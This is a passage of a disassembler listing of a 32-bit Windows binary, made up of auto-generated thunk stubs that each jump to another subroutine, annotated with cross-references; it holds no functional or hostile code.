sub_4017DF proc near ; CODE XREF: sub_416210+11p
; ___:00416237p ...
jmp sub_4167E0
sub_4017DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017E4 proc near ; CODE XREF: sub_415A00+3p
; ___:0041625Fp ...
jmp sub_416490
sub_4017E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4017E9 proc near ; CODE XREF: sub_4155F0+6Ap
; sub_416020+32p
jmp sub_415F60
sub_4017E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017EE proc near ; CODE XREF: sub_403530+DBp
; sub_403F80+3Fp ...
jmp sub_40A7F0
sub_4017EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017F3 proc near ; CODE XREF: ___:00421EAAp
jmp sub_422470
sub_4017F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4017F8 proc near
jmp sub_40B2E0
sub_4017F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017FD proc near ; CODE XREF: sub_406850+205p
jmp sub_41B920
sub_4017FD endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401807 proc near ; CODE XREF: ___:00427D03p
jmp sub_427D30
sub_401807 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40180C proc near ; CODE XREF: ___:00425F16p
; ___:00425F47p
jmp sub_4257F0
sub_40180C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401811 proc near ; CODE XREF: sub_41E660+FFp
; sub_41E660+179p ...
jmp sub_421B80
sub_401811 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401816 proc near ; CODE XREF: sub_40A1E0+7p
jmp sub_40A200
sub_401816 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40181B proc near ; CODE XREF: sub_40B500+76p
jmp sub_40B460
sub_40181B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401820 proc near ; CODE XREF: ___:00423F8Dp
; DATA XREF: ___:off_44541Co
jmp sub_425100
sub_401820 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401825 proc near ; CODE XREF: sub_41E660+18Ep
; ___:0043C433j
jmp sub_4219F0
sub_401825 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182A proc near ; DATA XREF: ___:off_43F10Co
jmp sub_428210
sub_40182A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182F proc near ; CODE XREF: ___:00416D9Fp
jmp sub_417DB0
sub_40182F endp
; ---------------------------------------------------------------------------
jmp loc_42FF10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401839 proc near ; CODE XREF: sub_41E660+3BCp
; sub_4226B0+3p
jmp sub_421D50
sub_401839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40183E proc near ; CODE XREF: sub_427800+90p
jmp sub_427AC0
sub_40183E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401843 proc near ; CODE XREF: ___:0042444Dp
; sub_424920+135p
jmp sub_424480
sub_401843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401848 proc near ; CODE XREF: sub_40BF10+3p
; ___:0040BFDFp ...
jmp sub_40C150
sub_401848 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40184D proc near ; CODE XREF: sub_407140+36p
; sub_407140+72p ...
jmp sub_407390
sub_40184D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401852 proc near ; CODE XREF: ___:00413241p
jmp sub_415760
sub_401852 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401857 proc near ; CODE XREF: ___:0040BAA1p
; ___:0040BB68p ...
jmp sub_4126C0
sub_401857 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40185C proc near ; CODE XREF: ___:004332DFp
; ___:004333EFp ...
jmp sub_432E20
sub_40185C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401861 proc near ; DATA XREF: ___:0043359Ao
; ___:00433700o
jmp sub_432E90
sub_401861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401866 proc near ; CODE XREF: sub_416450+7p
jmp sub_416830
sub_401866 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40186B proc near ; CODE XREF: sub_4182F0+34p
jmp sub_404BE0
sub_40186B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401870 proc near ; CODE XREF: sub_403530+7Ap
; sub_403530+9Ep ...
jmp sub_409C10
sub_401870 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401875 proc near ; CODE XREF: sub_420530+152p
jmp sub_4207A0
sub_401875 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40187A proc near ; CODE XREF: ___:0041A328p
; sub_41B0E0+3p ...
jmp sub_41B110
sub_40187A endp
; ---------------------------------------------------------------------------
jmp loc_42B060
; ---------------------------------------------------------------------------
jmp loc_41C1E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401889 proc near ; CODE XREF: ___:00416B3Bp
; ___:0043B26Cj ...
jmp sub_418BE0
sub_401889 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40188E proc near ; CODE XREF: sub_40FE30+217p
; sub_41FD90+4Cp ...
jmp sub_41FD50
sub_40188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401893 proc near ; CODE XREF: sub_42AC80+9Dp
jmp sub_429450
sub_401893 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401898 proc near ; CODE XREF: ___:0042D2F5p
jmp sub_4290B0
sub_401898 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40189D proc near ; DATA XREF: ___:0043F184o
jmp sub_42B440
sub_40189D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A2 proc near ; CODE XREF: sub_41B580+DDp
jmp sub_41AE00
sub_4018A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A7 proc near
jmp sub_4341C0
sub_4018A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018AC proc near ; CODE XREF: ___:00414285p
; sub_414E00+1B2p
jmp sub_413E60
sub_4018AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B1 proc near ; CODE XREF: sub_411C00+1B6p
jmp sub_40A1E0
sub_4018B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B6 proc near ; CODE XREF: sub_41E660+5ABp
jmp sub_4203D0
sub_4018B6 endp
; ---------------------------------------------------------------------------
jmp loc_433000
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C0 proc near ; CODE XREF: sub_40A9E0+14p
jmp sub_40AC90
sub_4018C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C5 proc near ; CODE XREF: sub_4135D0+B4p
; ___:00414C50p ...
jmp sub_415700
sub_4018C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018CA proc near ; CODE XREF: sub_41A3B0+6Dp
; sub_41A3B0+1B5p
jmp sub_41B030
sub_4018CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018CF proc near ; CODE XREF: ___:004323CAp
jmp sub_431D80
sub_4018CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018D4 proc near ; CODE XREF: sub_418F80+5Fp
jmp sub_419120
sub_4018D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018D9 proc near ; CODE XREF: ___:00416B8Bp
; ___:0043B226j ...
jmp sub_4178B0
sub_4018D9 endp
; ---------------------------------------------------------------------------
jmp loc_419ED0
; ---------------------------------------------------------------------------
jmp sub_41A1E0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018E8 proc near ; CODE XREF: sub_41E660+46p
jmp sub_4219B0
sub_4018E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018ED proc near ; CODE XREF: ___:0042D425p
jmp sub_42AC10
sub_4018ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018F2 proc near ; CODE XREF: sub_422230+7p
jmp sub_422620
sub_4018F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018F7 proc near ; CODE XREF: sub_4220B0+9p
; sub_422510+18p
jmp sub_422690
sub_4018F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018FC proc near ; CODE XREF: sub_4222B0+8p
jmp sub_422670
sub_4018FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401901 proc near ; CODE XREF: sub_413490+43p
; sub_414890+4Fp ...
jmp sub_415810
sub_401901 endp
; ---------------------------------------------------------------------------
jmp loc_431D00
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40190B proc near ; CODE XREF: sub_421AD0+1Fp
jmp sub_421E50
sub_40190B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401910 proc near ; CODE XREF: sub_4219B0+11p
; sub_421E50+1Fp
jmp sub_421F80
sub_401910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401915 proc near ; CODE XREF: sub_40B460+6Dp
jmp sub_40BE60
sub_401915 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40191A proc near ; CODE XREF: sub_409520+13p
jmp sub_409650
sub_40191A endp
; ---------------------------------------------------------------------------
jmp loc_4378B0
; ---------------------------------------------------------------------------
jmp sub_41B0E0
; ---------------------------------------------------------------------------
loc_401929: ; DATA XREF: ___:off_43F0A0o
jmp loc_418BB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40192E proc near ; CODE XREF: ___:00413BF1p
jmp sub_413A70
sub_40192E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401933 proc near ; CODE XREF: ___:00413253p
; sub_4132E0+32p
jmp sub_4155A0
sub_401933 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401938 proc near ; CODE XREF: ___:00416C3Bp
; ___:0043B18Cj ...
jmp sub_416FE0
sub_401938 endp
; ---------------------------------------------------------------------------
jmp loc_432390
; ---------------------------------------------------------------------------
jmp loc_4347E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401947 proc near ; CODE XREF: sub_41C710+F1p
; sub_41C710+270p ...
jmp sub_420E10
sub_401947 endp
; ---------------------------------------------------------------------------
jmp loc_40A4D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401951 proc near ; CODE XREF: sub_404C30+283p
; sub_40EE30+D2p ...
jmp sub_40F050
sub_401951 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401956 proc near ; CODE XREF: sub_4219F0+34p
; sub_422340+67p
jmp sub_421FD0
sub_401956 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40195B proc near ; CODE XREF: sub_404C30+BF1p
jmp sub_4066A0
sub_40195B endp
; ---------------------------------------------------------------------------
jmp loc_433650
; ---------------------------------------------------------------------------
loc_401965: ; DATA XREF: sub_41FC00+39o
jmp loc_41FB30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196A proc near ; CODE XREF: ___:0041A29Ep
; sub_41A3B0+Bp ...
jmp sub_41A390
sub_40196A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196F proc near ; CODE XREF: ___:0041AC56p
; ___:0041AD36p
jmp sub_41A960
sub_40196F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401974 proc near
jmp sub_419260
sub_401974 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401979 proc near ; CODE XREF: sub_411730+3p
; sub_412AD0+2Ep
jmp sub_412C10
sub_401979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40197E proc near ; CODE XREF: sub_41E660+F5p
; sub_41E660+16Fp ...
jmp sub_421AA0
sub_40197E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401983 proc near ; CODE XREF: sub_409520+4p
; sub_4096D0+1Fp ...
jmp sub_4095D0
sub_401983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401988 proc near
jmp sub_409B00
sub_401988 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40198D proc near ; CODE XREF: sub_41F860+20p
; sub_42AC80+37p
jmp sub_41FE50
sub_40198D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401992 proc near ; CODE XREF: sub_4135D0+4Ap
; ___:00414BFFp ...
jmp sub_4154F0
sub_401992 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401997 proc near ; CODE XREF: sub_40A500+A8p
jmp sub_40A920
sub_401997 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40199C proc near ; CODE XREF: sub_40CC80+41p
jmp sub_40CF30
sub_40199C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019A1 proc near ; CODE XREF: ___:004346F5p
; ___:004347F5p
jmp sub_434450
sub_4019A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019A6 proc near ; CODE XREF: sub_4219F0+29p
jmp sub_421EF0
sub_4019A6 endp
; ---------------------------------------------------------------------------
jmp loc_42FFE0
; ---------------------------------------------------------------------------
jmp loc_42FFB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019B5 proc near ; CODE XREF: sub_40A860+Dp
; sub_40AAC0+91p
jmp sub_40A9E0
sub_4019B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019BA proc near ; CODE XREF: sub_422150+23p
; sub_422510+11p
jmp sub_4226B0
sub_4019BA endp
; ---------------------------------------------------------------------------
jmp loc_41ABF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019C4 proc near ; CODE XREF: sub_403F80+2Cp
; ___:00403FFFp ...
jmp sub_403530
sub_4019C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019C9 proc near ; CODE XREF: sub_422850+6p
jmp sub_4228C0
sub_4019C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019CE proc near ; DATA XREF: ___:off_43F05Co
jmp sub_418B00
sub_4019CE endp
; ---------------------------------------------------------------------------
jmp sub_412830
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4019D8 proc near ; CODE XREF: sub_407460+4p
jmp sub_407590
sub_4019D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019DD proc near ; CODE XREF: ___:0040B6F9p
; ___:0040BB16p ...
jmp sub_40B5F0
sub_4019DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019E2 proc near ; CODE XREF: sub_40FE30+AF4p
; sub_40FE30+E6Ap
jmp sub_411730
sub_4019E2 endp
; ---------------------------------------------------------------------------
jmp loc_433C30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019EC proc near ; CODE XREF: sub_414590+CEp
jmp sub_414700
sub_4019EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019F1 proc near ; DATA XREF: ___:0043F1C8o
jmp sub_42CB70
sub_4019F1 endp
; ---------------------------------------------------------------------------
loc_4019F6: ; DATA XREF: ___:off_43F0D0o
jmp loc_421870
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019FB proc near ; CODE XREF: sub_421B10+3p
jmp sub_422030
sub_4019FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A00 proc near ; CODE XREF: ___:00416D4Fp
jmp sub_40B180
sub_401A00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A05 proc near
jmp sub_4133A0
sub_401A05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A0A proc near ; CODE XREF: sub_41E660+477p
jmp sub_4200F0
sub_401A0A endp
; ---------------------------------------------------------------------------
jmp loc_421850
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A14 proc near ; DATA XREF: ___:0043F124o
jmp sub_428940
sub_401A14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A19 proc near
jmp sub_411760
sub_401A19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A1E proc near ; CODE XREF: sub_4344C0+92p
jmp sub_431C30
sub_401A1E endp
; ---------------------------------------------------------------------------
jmp loc_429420
; ---------------------------------------------------------------------------
jmp loc_427D00
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A2D proc near ; CODE XREF: sub_421EF0+32p
jmp sub_422340
sub_401A2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A32 proc near ; CODE XREF: ___:00416BCBp
; sub_418B00+3p ...
jmp sub_418AD0
sub_401A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A37 proc near ; CODE XREF: ___:00423B04p
; ___:004285E8p ...
jmp sub_420D00
sub_401A37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A3C proc near ; CODE XREF: sub_422310+Ap
jmp sub_422720
sub_401A3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A41 proc near ; CODE XREF: ___:00412F8Fp
; ___:00413044p ...
jmp sub_404600
sub_401A41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A46 proc near ; CODE XREF: sub_409520+1Ap
; sub_409600+4p ...
jmp sub_409590
sub_401A46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A4B proc near ; DATA XREF: ___:off_43F028o
jmp sub_412830
sub_401A4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A50 proc near ; DATA XREF: ___:0043F0E4o
jmp sub_427800
sub_401A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A55 proc near ; CODE XREF: ___:00426475p
jmp sub_426070
sub_401A55 endp
; ---------------------------------------------------------------------------
jmp loc_409E20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A5F proc near ; CODE XREF: sub_415B90+1Ep
jmp sub_416640
sub_401A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A64 proc near ; CODE XREF: ___:004305E0p
; sub_4321F0+36p ...
jmp sub_431630
sub_401A64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A69 proc near ; CODE XREF: sub_4138A0+3Ep
jmp sub_434BF0
sub_401A69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A6E proc near ; CODE XREF: sub_414A60+3p
jmp sub_414A90
sub_401A6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A73 proc near ; CODE XREF: ___:00408293p
; ___:00408724p
jmp sub_409560
sub_401A73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A78 proc near ; DATA XREF: ___:0043F0E0o
; ___:0043F0F0o ...
jmp sub_4276C0
sub_401A78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A7D proc near ; CODE XREF: sub_41D830+1ADp
jmp sub_42DB00
sub_401A7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A82 proc near ; CODE XREF: sub_420530+191p
; sub_4228C0+3p ...
jmp sub_4207C0
sub_401A82 endp
; ---------------------------------------------------------------------------
jmp loc_4302E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A8C proc near ; CODE XREF: sub_4226E0+5p
jmp sub_422850
sub_401A8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A91 proc near ; CODE XREF: ___:00416E0Ap
jmp sub_4180C0
sub_401A91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A96 proc near ; CODE XREF: sub_407270+5p
; sub_407360+6p ...
jmp sub_4074B0
sub_401A96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A9B proc near ; CODE XREF: sub_403530+90p
; sub_404C30+40Cp ...
jmp sub_40A770
sub_401A9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AA0 proc near ; CODE XREF: sub_41D830+2FFp
; sub_41EF30+52Fp
jmp sub_41FD90
sub_401AA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AA5 proc near ; CODE XREF: ___:004330BAp
jmp sub_430B30
sub_401AA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AAA proc near ; CODE XREF: sub_415560+1Fp
jmp sub_415EC0
sub_401AAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AAF proc near ; CODE XREF: sub_403530+E5p
; sub_409F40+Fp ...
jmp sub_409E70
sub_401AAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AB4 proc near ; CODE XREF: sub_432850+17p
; sub_432850+33p
jmp sub_434A00
sub_401AB4 endp
; ---------------------------------------------------------------------------
jmp loc_434770
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_427D00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AC8 proc near ; CODE XREF: sub_424F70+E5p
; sub_424F70+120p
jmp sub_424E20
sub_401AC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ACD proc near ; DATA XREF: ___:off_43F034o
jmp sub_411C00
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD2 proc near ; DATA XREF: ___:0041FB33o
jmp sub_41FA90
sub_401AD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD7 proc near ; CODE XREF: sub_407140+Bp
jmp sub_407320
sub_401AD7 endp
; ---------------------------------------------------------------------------
jmp loc_433E90
; ---------------------------------------------------------------------------
loc_401AE1: ; DATA XREF: ___:off_43F020o
jmp loc_40B9A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AE6 proc near ; CODE XREF: sub_403EA0+2Bp
; sub_403EA0+3Bp ...
jmp sub_403CD0
sub_401AE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AEB proc near ; CODE XREF: sub_4135D0+66p
; sub_4135D0+CAp ...
jmp sub_415730
sub_401AEB endp
; ---------------------------------------------------------------------------
jmp loc_41B880
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AF5 proc near
jmp sub_4228F0
sub_401AF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AFA proc near ; CODE XREF: ___:00416C1Bp
; ___:0043B1A8j ...
jmp sub_40B240
sub_401AFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AFF proc near ; CODE XREF: ___:00421764p
; ___:0042179Ep
jmp sub_4215D0
sub_401AFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B04 proc near ; CODE XREF: sub_404BA0+15p
jmp sub_407140
sub_401B04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B09 proc near ; DATA XREF: ___:off_43F0BCo
jmp sub_41A1E0
sub_401B09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B0E proc near ; CODE XREF: ___:00416ECFp
jmp sub_4188C0
sub_401B0E endp
; ---------------------------------------------------------------------------
loc_401B13: ; CODE XREF: ___:00439F76j
jmp loc_40CBC0
; ---------------------------------------------------------------------------
loc_401B18: ; DATA XREF: ___:off_43F16Co
jmp loc_42B060
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B1D proc near ; CODE XREF: sub_416F70+28p
jmp sub_418850
sub_401B1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B22 proc near ; CODE XREF: ___:00432CD7p
jmp sub_432D10
sub_401B22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B27 proc near ; CODE XREF: sub_431240+Bp
jmp sub_4316C0
sub_401B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B2C proc near
jmp sub_40AF70
sub_401B2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B31 proc near ; CODE XREF: ___:00418D6Bp
; sub_418F80+28p ...
jmp sub_419040
sub_401B31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B36 proc near ; DATA XREF: ___:off_43F1B0o
jmp sub_42C7E0
sub_401B36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B3B proc near ; CODE XREF: ___:00416B6Bp
; ___:0043B242j ...
jmp sub_417990
sub_401B3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B40 proc near ; CODE XREF: ___:004087C3p
; ___:004087E4p ...
jmp sub_4076B0
sub_401B40 endp
; ---------------------------------------------------------------------------
jmp loc_414BB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B4A proc near ; CODE XREF: sub_41C710+83p
; ___:0042954Fp
jmp sub_41D640
sub_401B4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B4F proc near ; CODE XREF: sub_41A960+11p
jmp sub_41A990
sub_401B4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B54 proc near ; CODE XREF: sub_41E660+339p
jmp sub_421D10
sub_401B54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B59 proc near ; CODE XREF: sub_414D30+3p
jmp sub_414D60
sub_401B59 endp
; ---------------------------------------------------------------------------
jmp loc_433F90
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B63 proc near ; CODE XREF: sub_430D90+29p
jmp sub_430830
sub_401B63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B68 proc near ; CODE XREF: sub_412860+38p
; ___:0043A458j
jmp sub_4127E0
sub_401B68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B6D proc near
jmp sub_40D650
sub_401B6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B72 proc near ; CODE XREF: sub_4076B0+3Bp
; sub_407740+43p
jmp sub_40B500
sub_401B72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B77 proc near ; CODE XREF: sub_407320+3p
jmp sub_4074F0
sub_401B77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B7C proc near ; CODE XREF: sub_424920+9Dp
; sub_424920+FBp ...
jmp sub_4246D0
sub_401B7C endp
; ---------------------------------------------------------------------------
loc_401B81: ; DATA XREF: ___:off_43F074o
jmp loc_426EC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B86 proc near ; CODE XREF: sub_40FE30+413p
; sub_40FE30+F69p ...
jmp sub_40A030
sub_401B86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B8B proc near ; CODE XREF: ___:00426764p
jmp sub_4267D0
sub_401B8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B90 proc near ; CODE XREF: sub_422150+32p
jmp sub_422510
sub_401B90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B95 proc near ; CODE XREF: sub_41B580+A5p
jmp sub_41A7D0
sub_401B95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B9A proc near ; CODE XREF: sub_40C030+23p
; sub_40C1F0+11p
jmp sub_40C390
sub_401B9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B9F proc near ; CODE XREF: ___:0042CB23p
jmp sub_42CB50
sub_401B9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BA4 proc near
jmp sub_41E140
sub_401BA4 endp
; ---------------------------------------------------------------------------
loc_401BA9: ; DATA XREF: sub_431240+86o
jmp loc_432940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BAE proc near ; CODE XREF: sub_409600+20p
jmp sub_4096D0
sub_401BAE endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BB8 proc near ; DATA XREF: ___:off_43F094o
jmp sub_40CC80
sub_401BB8 endp
; ---------------------------------------------------------------------------
jmp loc_431CC0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BC2 proc near ; CODE XREF: sub_421CD0+1Fp
jmp sub_4220B0
sub_401BC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BC7 proc near ; CODE XREF: sub_428810+39p
jmp sub_4283D0
sub_401BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BCC proc near ; CODE XREF: sub_415810+5p
; sub_415A20+6p ...
jmp sub_416470
sub_401BCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BD1 proc near ; CODE XREF: sub_4316C0+5Dp
; sub_432A20+3Ep
jmp sub_4317C0
sub_401BD1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
